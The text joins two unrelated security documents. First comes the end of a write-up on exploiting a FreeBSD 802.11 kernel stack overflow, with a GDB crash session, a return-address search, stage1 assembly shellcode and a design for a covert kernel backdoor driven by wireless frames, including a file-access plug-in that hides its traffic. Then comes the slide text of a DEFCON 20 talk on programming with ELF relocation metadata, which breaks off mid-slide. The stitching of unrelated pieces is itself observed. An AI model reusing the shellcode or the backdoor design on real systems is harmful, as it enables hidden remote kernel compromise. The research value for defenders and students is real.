0x0220: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0230: 4141 4141 AAAA
Wow, this resulted in a panic on the target!
GDB-session from the debugger machine:
[New Thread 100058]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 100058]
0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
at ../../../net80211/ieee80211_ioctl.c:1047
1047 ireq->i_len -= space;
(gdb) print ireq
$1 = (struct ieee80211req *) 0x41414141
(gdb) bt
#0 0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
at ../../../net80211/ieee80211_ioctl.c:1047
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()
As we see here, the frame seems to be corrupted.
gdb) list ieee80211_ioctl_getscanresults
1003 static int
1004 ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req
*ireq)
1005 {
1006 union {
1007 struct ieee80211req_scan_result res;
1008 char data[512]; /* XXX shrink? */
1009 } u;
1010 struct ieee80211req_scan_result *sr = &u.res;
1011 struct ieee80211_node_table *nt;
We want to examine how much of the union (and possibly after) we have overwritten:
gdb) x/150xw &u
0xd0c5e960: 0x00fd2000 0x00000000 0x58585858 0x58585858
0xd0c5e970: 0x58585858 0x58585858 0x58585858 0x58585858
0xd0c5e980: 0x58585858 0x58585858 0x5000fcdd 0x414101f2
0xd0c5e990: 0x41414141 0x41414141 0x41414141 0x41414141
...
0xd0c5eb40: 0x41414141 0x41414141 0x41414141 0x41414141
0xd0c5eb50: 0x41414141 0x41414141 0x41414141 0x41414141
0xd0c5eb60: 0x41414141 0x41414141 0x41414141 0x41414141
0xd0c5eb70: 0x41414141 0x41414141 0x41414141 0x41414141
0xd0c5eb80: 0x41414141 0xd0c5eb41 0xc063b816 0xc1509d00
0xd0c5eb90: 0xc01c69eb 0xc16eec00
...
(gdb) print $ebp
$8 = (void *) 0xd0c5eb4c
We clearly see that we have overwritten over and past the frame-pointer and the saved return-address.
What to use as return-address
We need to find a suitable address for our return address. Kernel stack-addresses are totally unreliable
in this case, they can't be used. A better option is to return into the kernel's .text segment, to an address
which contains the instruction “jmp ESP” or equivalent.
A search in the GENERIC/i386 kernel image for interesting byte sequences using a small program
written by the author:
$ search_instr.py -s 0x003d4518 -f 0x00043c30 -v 0xc0443c30
FreeBSD_GENERIC_i386_6.0
0xc0444797: 0xff 0xd7, call *%edi
0xc04486c4: 0xff 0xd7, call *%edi
...
0xc044c5dd: 0xff 0xd7, call *%edi
0xc044dd3d: 0xff 0xe4, jmp *%esp
0xc0450109: 0xff 0xd1, call *%ecx
...
When the kernel returns from the exploited function, it will continue execution on the stack right after
the overwritten return-address.
Stage1 payload
The initial payload needs to reside after the overwritten return-address, the area before can't be used
reliably because other access-points could potentially overwrite this when the kernel iterates through
the list. The payload needs to be limited to 32 bytes, after that there is a frame which is needed when
returning from the exploited function.
The task of the stage1 payload is to locate the second stage. The second stage is located in the kernel-
list of access-points, in that access-points WME field (which was sent in the beacon frame). When this
is found, it jumps to it.
beacon_payload_stage1:
// We know there will be one ic ptr at ioctl_saved_frame-4(%esp)
movl IOCTL_SAVED_FRAME_OFF-4(%esp),%eax
movl IC_IC_SCNT_OFF(%eax),%ebx // move ic->ic_scan.nt_node
itr_nodes: // to %ebx (ni)
movl NI_WPA_OFF(%ebx),%ecx // mov ni->wpa to %ecx
cmpb $MAC_C,NI_MAC_OFF(%ebx) // Check if we found our MAC
movl %ebx,%edx
movl 0x8(%ebx),%ebx // advance to the ni ptr
jne itr_nodes
addl $0x6,%ecx // We need to skip the WPA-
// header plus the padding
jmp *%ecx // Call our dirty code!
Stage2 payload
The second stage allocates kernel memory for the backdoor and then copies backdoor code from the
WPA field for the “exploiting” access-point to the allocated area, saves away the original function
pointer for the management frame handler and then replaces it with a pointer to the backdoor. When the
second stage is finished it restores the frame of the function two levels down (the previous frame was
corrupted by the overwrite) and sets the return result for ioctl to return an empty scan-list without
errors.
Backdoor
The communication from the attacker to the backdoor is done by sending management-frames. The
backdoor is called every time the victim is receiving a management-frame, the backdoor then looks for
a magic number at a fixed offset and if this magic number matches it continues to process the frame as
a command. If the magic number does not match it passes the frame to the original management-frame
handler, in this way the ordinary function of the interface won't be interfered. The magic-number and
payload is within a WPA IE field, so it's still a valid IEEE 802.11 frame.
The backdoor assumes a “bootstrap-command” as the first command since not all of the backdoor-code
fits into stage 2, this simplifies the implementation of the exploit.
Backdoor commands
The backdoor handles the communication with the attacker, all the responses sent back to the attacker
are sent with a probe-response frame and the payload-data is within the optional response-field of that
frame. All frames are sent to/from faked MAC-addresses.
Ping backdoor
The ping command takes a 32-bit identifier as an argument and responds back with a pong-response
which includes the identifier. This is used to verify the installation of the backdoor.
Upload backdoor-code
The upload command receives a portion of backdoor-code to insert in the backdoor along with and
offset, this code can later be executed.
Execute backdoor-code
The execute command calls backdoor-code at a specific offset and with a variable size data-argument.
The executed code can return resulting data, if any data is returned it's sent back as a response to the
attacker by the backdoor.
Plug-ins
With the two primitives upload and execute, we can implement a dynamic plug-in facility. With this we
can write relatively isolated backdoor functions that can be changed on-the-fly.
Fileserver plug-in
A small fileserver plug-in has been implemented, this has the ability to read files, stat files, write and
create files. It does this directly at the VFS layer; no process will have those files associated. A variant
of this fileserver which XOR-obfuscates the data has also been implemented. This way your filesystem
won't show up in the tcpdump output. :)
Filesystem operations in kernel exploits
When doing FS operations in kernel exploits, do it as the kernel does it. Extract the essential calls
needed for the operations; there is a lot of extra stuff the kernel does that you don't want, like handling
filedescriptors.
The outlines for open and read example:
• Initialize a struct nameidata, the way NDINIT() macro does, this involves setting the
filename.
• Make sure the current threads process has a working directory: td->td_proc-
>p_fd->fd_cdir = rootvnode;
• Try lookup vnode with vn_open()
• Do the actual read with vn_rdwr()
• Unlock and close vnode using vn_close() and VOP_UNLOCK_APV()
Some vnode operations are messy in assembly, disassembling the kernel could help getting a better
understanding of the code in question.
Final words
The IEEE802.11 framework in *BSD is a huge work and deserve credits, it creates one interface for all
wireless devices. This is a very nice thing, especially if you look at the situation of other operating-
systems.
…though it might need some cleaning up and security auditing.
References
Matthew S. Gast; 802.11 Wireless Networks: The Definitive Guide (O’Reilly Networking)
ISBN: 0596001835
Marshall K. McKusick, Keith Bostic, Michael J. Karels, John S. Quarterman; The Design and
Implementation of the 4.4BSD Operating System
ISBN: 0-201-54979-4
More resources about kernel exploitation
Attacking the Core: Kernel Exploiting Notes
http://www.phrack.org/issues.html?issue=64&id=6
Remote Windows Kernel Exploitation - Step into the Ring 0 (Whitepaper)
http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf
Remote Windows Kernel Exploitation - Step into the Ring 0
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-jack-update.pdf
Windows Local Kernel Exploitation
http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf
Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
http://www.uninformed.org/?v=6&a=2&t=sumry
Exploiting Windows Device Drivers
http://www.piotrbania.com/all/articles/ewdd.pdf
Smashing The Kernel Stack For Fun And Profit
http://www.phrack.org/archives/60/p60-0x06.txt
Exploiting Kernel Buffer Overflows FreeBSD Style
http://www.groar.org/expl/advanced/fbsdjail.txt
Kernel Level Vulnerabilities
http://www.comms.scitech.susx.ac.uk/fft/security/kernvuln-1.0.2.pdf
Unix Kernel Auditing
http://pacsec.jp/psj05/psj05-vansprundel-en.pdf
The /proc/pid/mem problem
http://ilja.netric.org/files/kernelhacking/procpidmem.pdf
Win32 Device Drivers Communication Vulnerabilities
http://artofhacking.com/tucops/hack/WINDOWS/live/aoh_win32dcv.htm
Windows Kernel-mode Payload Fundamentals
http://www.uninformed.org/?v=3&a=4&t=sumry
How To Exploit Windows Kernel Memory Pool
http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf | pdf |
Constructing ELF Metadata
DEFCON 20
July 28, 2012
Rebecca Shapiro and Sergey Bratus
Dartmouth College
Who? What? Where?
Image by Stripey the crab [CC-BY-SA-3.0]
This Talk in One Minute
”Deep magic” before a program can run
ELF segments, loading, relocation,
”Deeper magic” to support dynamic linking
Dynamic symbols, loading of libraries
Many pieces of code – enough to program
anything (Turing-complete)
In perfectly valid ELF metadata entries alone
Runs before most memory protections are
set for the rest of runtime
Runs with access to symbols (ASLR? what
ASLR?)
Image: “Clock” symbol by Brandon Hopkins, from thenounproject.com
The Weird Kinds of Programming
Exploit is a program running on the target
encoded as crafted data
reliably executed by target's intended and
unindented primitives
Resembles assembly with calls to library
functions and system calls – very weird
assembly
aa4bmo [Phrack 61:6, jp]
%n in format strings
Virtual Machine vs ”Weird Machine”
VM bytecode programs are data in memory
Pieces of native code implement effects and
actions of bytecodes
”Data (bytecode) acts on the state of the VM”
Exploit payload is (crafted) data in memory
Pieces of native code produce unexpected
effects on system state
Crafted data is executed as bytecode on a
”weird” VM inside target
Exploitation is Programming Weird
Machines
Exploit programs use dormant/latent state
and/or transitions not present in the target’s
programming model but actually present in the
target
Memory corruptions, escaping errors, in-band
signalling effects, ...
Memory buffers become “stored programs”
(hallo von Neumann)
“Exploitation is setting up, instantiating, and
programming a weird machine”
T. Dullien, Infiltrate 2011
Where Do We See Weird
Machines?
Heap metadata executed on heap manager
Format strings act on pring's internals
TCP/IP packet acts on the stack
Executable file metadata acts on loader/RTLD
Exploit Techniques & Weird
Machines
Normal
Odd
Weird
XSS
SQL injection
Stack smashing
Modern heap smashing
Crafting DWARF
Crafting ELF
ROP
The Quest
ELF background
Prior work with abusing ELF
Everything you need to know about ELF
metadata for this talk
Branfuck to ELF compiler
Relocation entry backdoor
Demo exploit
ELF
Executable and Linking Format
How gcc toolchain components communicate
Assembler (*.c → *.oo)
Static linker (*.o → executable)
Runtime linker/loader (RTLD) (exec, *.so)
Dynamic linker/loader (*.so)
ELF File Contents
Architecture/version information
Symbols
Symbol names (string table)
Interpreter location (usually ld.so)
Relocation Entries
Debugging information
Constructors/deconstructors
Dynamic linking information
….
Static/initialized data
Code
Entrypoint
ELF Sections
All data/code is contained in ELF sections
Except ELF, section, and segment headers
Section = contiguous chunk of bytes
1 section <---> 1 section header
Header contains: size, file offset, memory
offset, etc, for linker/loader
Most sections contain one of:
Table of structs (.ssymtab, .rela.dyn)
Null terminated strings (.strtab)
Mixed data (ints, long, etc) (.data)
Code (.text)
Interesting ELF Sections
Symbol table (.dynsym)
Relocation tables (.rela.dyn, .rela.plt)
Global offset table (.got)
Procedure linkage table (.got.plt)
Dynamic table (.dynamic)
Interesting ELF Sections
Symbol table (.dynsym)
Relocation tables (.rela.dyn, .rela.plt)
Global offset table (.got)
Procedure linkage table (.got.plt)
Dynamic table (.dynamic)
Symbol Tables
Info to (re)locate symbolic definitions and
references
For variables/functions imported/exported
Example symbols in libc:
typedef struct {
uint32_t st_name;
unsigned char st_info;
unsigned char st_other;
uint16_t st_shndx;
Elf64_Addr st_value;
uint64_t st_size;
} Elf64_Sym;
Num: Value Size Type Bind Vis Ndx Name
7407: 0000000000376d98 8 OBJECT GLOBAL DEFAULT 31 stdin
7408: 00000000000525c0 42 FUNC GLOBAL DEFAULT 12 putc
Symbol definition for 64-bit architectures:
Image: “Table” Sofie Hauge Katan, from The Noun Project
Interesting ELF Sections
Symbol table (.dynsym)
Relocation tables (.rela.dyn, .rela.plt)
Global offset table (.got)
Procedure linkage table (.got.plt)
Dynamic table (.dynamic)
Relocation Tables
.rela.dyn
Relocation information for RTLD
Processed at load time
.rela.plt
Relocation information for dynamic linker
Processed as needed at runtime
Image: “Commercial Loading Zone” Kirk Lohry, from The Noun Project
Relocation Table Entries
Where to write what value at load/link time
For amd64:
typedef struct {
Elf64_Addr r_offset;
uint64_t r_info;
int64_t r_addend;
} Elf64_Rela;
Where to write what value at load/link time
For amd64:
Where to write what value at load/link time
For amd64:
r_info:
Relocation entry type
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
Associated symbol table entry index
#define ELF64_R_SYM(i) ((i) >> 32)
amd64 ABI defines 37 relocation types
gcc toolchain uses 13 types (1 not in ABI)
(.rela.dyn, .rela.plt)
Image: “Door” Tak Imoto, from The Noun Project
Interesting ELF Sections
Symbol table (.dynsym)
Relocation tables (.rela.dyn, .rela.plt)
Global offset table (.got)
Procedure linkage table (.got.plt)
Dynamic table (.dynamic)
GOT and PLT
Global Offset Table and Procedure Linkage Table
Entry in each for dynamically-linked functions
GOT is a table of addresses
GOT[1] = object's link_map struct
ELF object metadata used by RTLD/linker
GOT[2] = &_dl_fixup (dynamic linker function)
GOT entry for linked function is &function or
&<code in PLT that calls _dl_fixup>
PLT contains instructions that work with GOT
to invoke _dl_fixup and linked function
Image: “Chain” Plinio Fernandes, from The Noun Project
Interesting ELF Sections
Symbol table (.dynsym)
Relocation tables (.rela.dyn, .rela.plt)
Global offset table (.got)
Procedure linkage table (.got.plt)
Dynamic table (.dynamic)
Dynamic Table
Table of metadata used by runtime loader
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
Types of interest
DT_RELA, DT_RELASZ
DT_RELACOUNT
DT_SYM
DT_JMPREL, DT_PLTRELSZ
b
b
Useful dynamic section entries
DT_RELA, DT_RELASZ,
Start and size of .rela.dyn table
DT_SYM
Location of symbol table (.dynsym)
DT_PLTGOT
Location of GOT
Among others needed for clean execution
Linking and Loading
Source: http://keithsrockin.blogdrive.com/archive/5.html
Loading and Linking:
The story of exec()
After exec() finishes
After ld.so finishes loading
Memory layout of ping (partial)
00400000-00408000 r-xp ping
00607000-00608000 r--p ping
00608000-00609000 rw-p ping
00609000-0061c000 rw-p
02165000-02186000 rw-p [heap]
7fc2224d2000-7fc2224de000 r-xp libnss_files-2.13.so
7fc2226dd000-7fc2226de000 r--p libnss_files-2.13.so
7fc2226de000-7fc2226df000 rw-p libnss_files-2.13.so
7fc2226df000-7fc222876000 r-xp libc-2.13.so
7fc222a75000-7fc222a79000 r--p libc-2.13.so
7fc222a79000-7fc222a7a000 rw-p libc-2.13.so
7fc222a7a000-7fc222a80000 rw-p
7fc222a80000-7fc222aa1000 r-xp ld-2.13.so
7fc222c77000-7fc222c7a000 rw-p
7fc222c9d000-7fc222ca0000 rw-p
7fc222ca0000-7fc222ca1000 r--p ld-2.13.so
7fc222ca1000-7fc222ca3000 rw-p ld-2.13.so
7fff01379000-7fff0139a000 rw-p [stack]
Memory Layout of a Process
Memory Layout of a Process
Layout of Executable in Memory
Memory Layout: Our Perspective
Memory Layout: Our Perspective
ld.so's link_map structures
Fun Ways to Craft Metadata
Change entrypoint to point to injected code
Inject object files (mayhem, phrack 61:8)
Intercept library calls to run injected code
Injected in executable
Cesare PLT redirection (Phrack 56:7)
Mayhem ALTPLT (Phrack 61:8)
Resident in attacker-built library
LD_PRELOAD (example: Jynx-Kit rootkit)
DT_NEEDED (Phrack 61:8)
Loaded at runtime (Cheating the ELF, the grugq)
Injected in library
LOCREATE (Skape, Uniformed 2007)
Unpack binaries using relocation entries
More fun with relocation entries
Warning. The following you are about to see is
architecture and libc implementation dependant.
Please try this at home, but there are no
guarantees it will work with your architecture/gcc
toolchain combination.
(Ours is Ubuntu 11.10's eglibc-2.13 on amd64)
Not all Brainfuck instructions work in presence of ASLR
This is proof of concept, after all.
Image: “Caution” Sam Ahmed, from The Noun Project
Injecting Relocation/Symbol tables
Use eresi toolkit
Injects into executable's data segment
Inject metadata here
Relocation Entry Type Primer
Let r be our Elf64_Rela, s be the corresponding
Elf64_Sym (if applicable)
R_X86_64_COPY
memcpy(r.r_offset, s.st_value, s.st_size)
R_X86_64_64
*(base+r.r_offset) = s.st_value +r.r_addend+base
R_X86_64_32
Same as _64, but only writes 4 bytes
R_X86_64_RELATIVE
*(base+r.r_offset = r.r_addend+base)
typedef struct {
Elf64_Addr r_offset;
uint64_t r_info; // contains type and symbol number
int64_t r_addend;
} Elf64_Rela;
Relocation & STT_IFUNC symbols
Symbols of type STT_IFUNC are special
st_value treated as a function pointer
Trivial example of indirect functions:
43: 0000000000400524 11 FUNC LOCAL DEFAULT 13 f1
44: 000000000040052f 11 FUNC LOCAL DEFAULT 13 f2
57: 000000000040053a 29 FUNC GLOBAL DEFAULT 13 foo_ifunc
62: 000000000040053a 29 IFUNC GLOBAL DEFAULT 13 foo
#include <stdio.h>
int foo (void) __attribute__ ((ifunc ("foo_ifunc")));
static int global = 1;
static int f1 (void) { return 0; }
static int f2 (void){ return 1; }
void *foo_ifunc (void) { return global == 1 ? f1 : f2; }
int main () { printf ("%d\n", foo()); }
Corresponding symbol table entries:
Musical IInterlude: I'm My Own Grandpa
(Why Reloc Entries are so Powerful)
Source: Ray Stevens on https://www.youtube.com/watch?v=eYlJH81dSiw
Brainfuck Primer
8 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
7) . Output the byte at the pointer.
8) , Input a byte and stor in byte at the pointer.
Source: http://www.muppetlabs.com/~breadbox/bf/
Brainfuck Primer
8 6 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
7) . Output the byte at the pointer.
8) , Input a byte and stor in byte at the pointer.
Source: http://www.muppetlabs.com/~breadbox/bf/
Tape pointer
Tape (array of bytes)
0x00
0x00
0x00
0x00
0x00
0x00
0x00
Brainfuck Primer
6 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
Example: + > -
Source: http://www.muppetlabs.com/~breadbox/bf/
Tape pointer
Tape (array of bytes)
0x00
0x00
0x00
0x00
0x00
0x00
0x00
Brainfuck Primer
6 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
Example: + > -
Source: http://www.muppetlabs.com/~breadbox/bf/
Tape pointer
Tape (array of bytes)
0x00
0x01
0x00
0x00
0x00
0x00
0x00
Brainfuck Primer
6 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
Example: + > -
Source: http://www.muppetlabs.com/~breadbox/bf/
Tape pointer
Tape (array of bytes)
0x00
0x01
0x00
0x00
0x00
0x00
0x00
Brainfuck Primer
6 instructions:
1) > Increment the pointer.
2) < Decrement the pointer.
3) + Increment the byte at the pointer.
4) - Decrement the byte at the pointer.
5) [ Jump forward past the matching ] if the byte at
the pointer is zero.
6) ] Jump backward to the matching [ unless the
byte at the pointer is zero.
Example: + > -
Source: http://www.muppetlabs.com/~breadbox/bf/
Tape pointer
Tape (array of bytes)
0x00
0x01
0xFF
0x00
0x00
0x00
0x00
Brainfuck Primer
Hello, World
Source: www.helloworld.org
// Hello World in brainfuck
// Creds to Speedy
>+++++++++[<++++++++>-]<.>+++++++
[<++++>-]<+.+++++++..+++.[-]
>++++++++[<++++>-] <.>+++++++++++
[<++++++++>-]<-.--------.+++
.------.--------.[-]>++++++++[<++++>- ]<+.[-]
++++++++++.
Compiling Brainfuck to ELF
ELF Brainfuck Setup
Data needed at compile time
Address of executable's link_map
Can be determined at runtime
Address of gadget that returns 0
ROP-style, found at compile time
Stack location
Location in memory of executable's:
DT_RELA
DT_RELASZ
DT_SYM
DT_JMPREL
DT_PLTRELSZ
Collected at compile time
Image: Hand” Ugur Akdemir, from The Noun Project
*
ELF Brainfuck Setup
(empty)
Original dynsym 0
Original dynsym 1
...
Original dynsym n
Address tape head is pointing at
Copy of tape head's value
Address of previous sym's value
IFUNC of gadget that returns 0
.dynsym table
Brainfuck instruction 0
...
Brainfuck instruction n
Instructions that clean up link_map data
Instructions to force branch to next rel entry
Instructions to finish cleaning link_map data
Original .rela.dyn entry 0
...
Original .rela.dyn entry m
.rela.dyn table
ELF Brainfuck Tape Pointer
0x00
0x01
0x00
0x00
0x00
Relocation/symbol
entries must be in
writable memory
Tape must be in
writable memory
Address tape head is pointing at
0xb33f0000
Copy of tape head's value
0
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
0x00
0x01
0x00
0x00
0x00
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
ELF Brainfuck Tape Pointer
Address tape head is pointing at
t_ptr
Copy of tape head's value
t_val
0x00
0x01
0x00
0x00
0x00
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
ELF Brainfuck Tape Pointer
t_ptr
0xb33f0000
t_val
0
mv_ptr = {offset=&(t_ptr.value), type = 64, sym=t_ptr, addend=n}
copy_val = {offset=&(t_val.value), type = COPY, sym=t_ptr}
0x00
0x01
0x00
0x00
0x00
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
ELF Brainfuck Tape Pointer
t_ptr
0xb33f0001
t_val
0
mv_ptr = {offset=&(t_ptr.value), type = 64, sym=t_ptr, addend=1}
copy_val = {offset=&(t_val.value), type = COPY, sym=t_ptr}
n=1
0x00
0x01
0x00
0x00
0x00
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
ELF Brainfuck Tape Pointer
t_ptr
0xb33f0001
t_val
1
mv_ptr = {offset=&(t_ptr.value), type = 64, sym=t_ptr, addend=1}
copy_val = {offset=&(t_val.value), type = COPY, sym=t_ptr}
n=1
0x00
0x01
0x00
0x00
0x00
0xb33f0000
0xb33f0004
0xb33f0001
0xb33f0002
0xb33f0003
Addition/Subtraction
0x00
0x01
t_ptr
0xb33f0001
t_val
1
valptr
&t_val.value
0xb33f0000
0xb33f0001
add = {offset=&(t_ptr.value), type = 64, sym=t_val, addend=n}
get_ptr = {offset=&(update.offset), type = 64, sym=t_ptr}
update = {offset=????, type = COPY, sym=valptr}
Addition/Subtraction
t_ptr
0xb33f0008
t_val
3
0xb33f0000
0xb33f0001
add = {offset=&(t_ptr.value), type = 64, sym=t_val, addend=2}
get_ptr = {offset=&(update.offset), type = 64, sym=t_ptr}
update = {offset=????, type = COPY, sym=valptr}
n=2
0x00
0x01
t_ptr
0xb33f0001
t_val
3
valptr
&t_val.value
Addition/Subtraction
add = {offset=&(t_ptr.value), type = 64, sym=t_val, addend=2}
get_ptr = {offset=&(update.offset), type = 64, sym=t_ptr}
update = {offset=0xb33f0001, type = COPY, sym=valptr}
n=2
t_ptr
0xb33f0008
t_val
3
0xb33f0000
0xb33f0001
0x00
0x01
t_ptr
0xb33f0001
t_val
3
valptr
&t_val.value
Addition/Subtraction
add = {offset=&(t_ptr.value), type = 64, sym=t_val, addend=2}
get_ptr = {offset=&(update.offset), type = 64, sym=t_ptr}
update = {offset=0xb33f0001, type = COPY, sym=valptr}
n=2
t_ptr
0xb33f0008
t_val
3
0xb33f0000
0xb33f0001
0x00
0x03
t_ptr
0xb33f0001
t_val
3
valptr
&t_val.value
Unconditional Branches
How relocation entries get processed
do
{
struct libname_list *lnp = l->l_libname->next;
while (__builtin_expect (lnp != NULL, 0))
{
lnp->dont_free = 1;
lnp = lnp->next;
}
if (l != &GL(dl_rtld_map))
_dl_relocate_object (l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
consider_profiling);
...
l = l->l_prev;
}
while (l);
TODO:
- set l->l_prev = l
Unconditional Branches
How relocation entries get processed
do
{
struct libname_list *lnp = l->l_libname->next;
while (__builtin_expect (lnp != NULL, 0))
{
lnp->dont_free = 1;
lnp = lnp->next;
}
if (l != &GL(dl_rtld_map))
_dl_relocate_object (l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
consider_profiling);
...
l = l->l_prev;
}
while (l);
TODO:
- set l->l_prev = l
Unconditional Branches
How relocation entries get processed
void
_dl_relocate_object (struct link_map *l, struct r_scope_elem *scope[],
int reloc_mode, int consider_profiling)
{
if (l->l_relocated)
return;
…
ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
…
/* Mark the object so we know this work has been done. */
l->l_relocated = 1;
...
/* In case we can protect the data now that the relocations are
done, do it. */
if (l->l_relro_size != 0)
_dl_protect_relro (l);
...
}
TODO:
- set l->l_prev = l
•- fix l->l_relocated
Unconditional Branches
How relocation entries get processed
void
_dl_relocate_object (struct link_map *l, struct r_scope_elem *scope[],
int reloc_mode, int consider_profiling)
{
if (l->l_relocated)
return;
…
ELF_DYNAMIC_RELOCATE (l, lazy, consider_profiling);
…
/* Mark the object so we know this work has been done. */
l->l_relocated = 1;
...
/* In case we can protect the data now that the relocations are
done, do it. */
if (l->l_relro_size != 0)
_dl_protect_relro (l);
...
}
TODO:
- set l->l_prev = l
•- fix l->l_relocated
•- set l->l_relro_size = 0
Unconditional Branches
How relocation entries get processed
do
{
struct libname_list *lnp = l->l_libname->next;
while (__builtin_expect (lnp != NULL, 0))
{
lnp->dont_free = 1;
lnp = lnp->next;
}
if (l != &GL(dl_rtld_map))
_dl_relocate_object (l, l->l_scope, GLRO(dl_lazy) ? RTLD_LAZY : 0,
consider_profiling);
...
l = l->l_prev;
}
while (l);
TODO:
- set l->l_prev = l
•- fix l->l_relocated
•- set l->l_relro_size = 0
Unconditional Branching:
Todo-List
Fix l->l_relocated
Set l->l_prev = l
Set l->l_relro_size = 0
Set l->l_info[DT_RELA] = &next rel to process
Fix l->l_info[DT_RELASZ]
Unconditional Branching:
Todo-List
Fix l->l_relocated
{offset =&(l->l_buckets), type = RELATIVE, addend=0}
{offset =&(l->l_direct_opencount), type = RELATIVE,
addend=0}
{offset =&(l->l_libname->next), type = RELATIVE,
addend=&(l->l_relocated) + 4*sizeof(int)}
Set l->l_prev = l
{offset =&(l->l_prev), type = RELATIVE, addend=&l}
Set l->l_relro_size = 0
(etc)
Set l->l_info[DT_RELA] = &next rel to process
Fix l->l_info[DT_RELASZ]
Unconditional Branching:
Skiping remaining relocation entries
end is stored on stack, set end to 0 for branch
for (; r < end; ++r)
{
ElfW(Half) ndx = version[ELFW(R_SYM) (r->r_info)] & 0x7fff;
elf_machine_rel (map, r, &symtab[ELFW(R_SYM) (r->r_info)],
&map->l_versions[ndx],
(void *) (l_addr + r->r_offset));
}
{offset =&end, type = RELATIVE, addend=0}
Conditional Branches
Perform all branch bookkeeping
IFUNC symbol only processed as function if
st_shndx != 0
(empty)
Original dynsym 0
Original dynsym 1
...
Original dynsym n
Address tape head is pointing at
Copy of tape head's value
Address of previous sym's value
IFUNC of gadget that returns 0
.dynsym table
typedef struct {
uint32_t st_name;
unsigned char st_info;
unsigned char st_other;
uint16_t st_shndx;
Elf64_Addr st_value;
uint64_t st_size;
} Elf64_Sym;
Image: “Tree” Hernan D. Schlosman, from The Noun Project
Conditional Branches
setifunc = {offset=&(ifunc.shndx), type = COPY, sym=valptr}
update = {offset=&end, type = 64, sym=ifunc}
0x01
t_val
0 1
valptr
0 &t_val.value
ifunc
1 &return0
0xb33f0000
xxxxxxxx
end
shndx
Conditional Branches
setifunc = {offset=&(ifunc.shndx), type = COPY, sym=valptr}
update = {offset=&end, type = 64, sym=ifunc}
0x01
t_val
0 1
valptr
0 &t_val.value
ifunc
1 &return0
0xb33f0000
0
end
shndx
return0() called!
If (shndx == 0) then end = &return0
ELF Brainfuck ']'
(The easier of the two)
”Jump backward to the matching [ unless the
byte at the pointer is 0”
Prepare for branch, set branch location to & of
relocation entry after '['
Set DT_RELA (dynamic table)
If tapevalue == 0, then end = &return0
continues processing (&return > &rela entries)
If tapevalue != zero, then end = 0
Stops processing relocaiton entries, branch
executes (0 < &rela etries)
ELF Brainfuck '['
(Saved as an exercise for the reader)
(RTFC: elf-bf-tools on github)
Implementation Notes
Used eresi toolchain to inject/edit metadata
Injects metadata into r/w section
More bookkeeping is necessary to ensure
executable works (not mentioned in talk)
Again, RTFC
elf-bf-tools repository on github
elf-bf-tools repository on github
https://github.com/bx/elf-bf-tools
https://github.com/bx/elf-bf-tools
https://github.com/bx/elf-bf-tools
Image: “Music” Phil Bochkov, from The Noun Project
And Now For Something a Little
More Practical...
Look up library locations during runtime
Address library stored in own link_map
If we know where one link_map is....
We know where they all are!
Flashback to the beginning of the talk:
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
To get linkmap->l_next->l_addr:
Store &GOT+8 in a symbol
Relocation entries:
Symbols:
symgot = {value:&GOT+8, size: 8, ...}
Use the following relocation entries with that
symbol
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
get_l_next = {offset=&(symgot.value), type = 64, sym=0, addend=0x18}
deref_l_next = {offset=&(symgot.value), type = COPY, sym=0}
get_l_addr = {offset=&(symgot.value), type = COPY, sym=0}
symgot = {value:&got_0x8, size: 8, ...}
get_exec_linkmap
&got+0x8
Traversing link_map Structures
get_exec_linkmap = {offset=&(symgot.value), type = COPY, sym=0}
